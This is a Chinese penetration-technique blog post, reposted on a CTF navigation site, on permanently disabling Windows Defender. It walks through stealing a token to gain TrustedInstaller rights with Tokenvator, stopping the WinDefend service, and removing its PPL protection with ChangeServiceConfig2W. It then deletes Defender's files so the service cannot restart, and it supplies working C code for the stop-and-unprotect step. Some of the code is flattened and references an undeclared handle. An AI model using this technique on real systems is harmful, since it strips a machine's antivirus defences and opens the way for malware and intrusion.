绕过ppl保护关闭Windows Defender

渗透技巧 2年前 (2021) admin
1,053 0 0

转载于黑白天实验室。


描述

可以关闭Windows Defender服务并通过提升权限删除ppl保护,然后删除Windows Defender中的DLL和其他文件,使Windows Defender服务无法运行,从而导致Windows Defender拒绝服务。

攻击步骤

1.将权限升级到trustedinstaller

我们使用受信任的安装程序组令牌自动窃取系统令牌,以提升到受信任的安装程序权限,

在这里,我们使用一个开源工具来利用它:

https://github.com/0xbadjuju/Tokenvator.

绕过ppl保护关闭Windows Defender

提权到TrustedInstaller并使用这个权限打开一个新的CMD.exe

绕过ppl保护关闭Windows Defender

同时这个cmd.exe也拥有TrustedInstaller权限。

绕过ppl保护关闭Windows Defender

2.关闭Windows Defender服务

这个其实并不是漏洞,因为我们的administrator权限也可以直接临时关闭Windows Defender服务。

绕过ppl保护关闭Windows Defender

但是这样关闭Windows Defender服务可以手工打开和重启会自动打开,我们想要的是永远关闭Windows Defender服务,在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender服务,当然重装系统除外。哈哈哈….

3.移除 PsProtectSignerAntimalware-Light 保护

关于“保护”的快速背景:

保护进程首先出现在 windows vista 中,作为对关键 windows 用户模式服务的增强,后来在 windows 8.1 中演变为保护进程 (PPL).一般来说可执行文件必须使用特殊证书进行签名,然后才有可能使用保护进程 (PPL)。


在微软文档中我们可以知道:

https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w

只要我们对服务对象有足够的访问权限,就可以更改服务保护。也就是说我们可以关闭Windows Defender服务的PPL。经过我们测试知道服务 ACL 根本不允许 SYSTEM 用户和管理员组修改或停止 Windows Defender 服务。但它允许 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服务的ppl,那么上面我们拥有了完整的TrustedInstaller权限。


那么我们可以禁用Windows Defender 服务的PsProtectSignerAntimalware-Light,然后可以修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。


Windows Defender的文件保存路径为:

C:Program FilesWindows DefenderC:Program FilesWindows Defender Advanced Threat ProtectionC:Program Files (x86)Windows Defender

在有PPL的情况下我们无法对这些文件进行任何修改。

绕过ppl保护关闭Windows Defender


同样在TrustedInstaller权限中也无法进行修改等等操作。

绕过ppl保护关闭Windows Defender

那么我们可以使用TrustedInstaller权限通过ChangeServiceConfig2W来停止PsProtectSignerAntimalware-Light 保护,然后修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服务控制管理器的连接  SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);  //打开一个已经存在的服务 打开wdf的服务  if (windefend_svc == NULL) {    printf("n[-] Failed to open WinDefend service.");    return 1;  }  printf("Done.n");

SERVICE_STATUS svc_status; if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) { //停止WDF服务 printf("[-] Failed to stop WinDefend service :("); return 1; } printf("[+] Successfully sent service stop control.n"); SERVICE_LAUNCH_PROTECTED_INFO info; DWORD ret_sz = 0;

QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz); //检索WDF服务的可选配置参数。 if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE) goto WaitDefender; info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE; if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) { printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :("); return 1; } printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service.n");WaitDefender: printf("[*] Waiting WinDefend to stop .!n"); WaitForSingleObject(hwindefend, INFINITE); CloseHandle(hwindefend); printf("[!] Attempting to unload WdFilter.sys ... ");

然后修改修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

原文始发于微信公众号(菜鸟学安全):绕过ppl保护关闭Windows Defender

版权声明:admin 发表于 2021年12月13日 上午12:40。
转载请注明:绕过ppl保护关闭Windows Defender | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...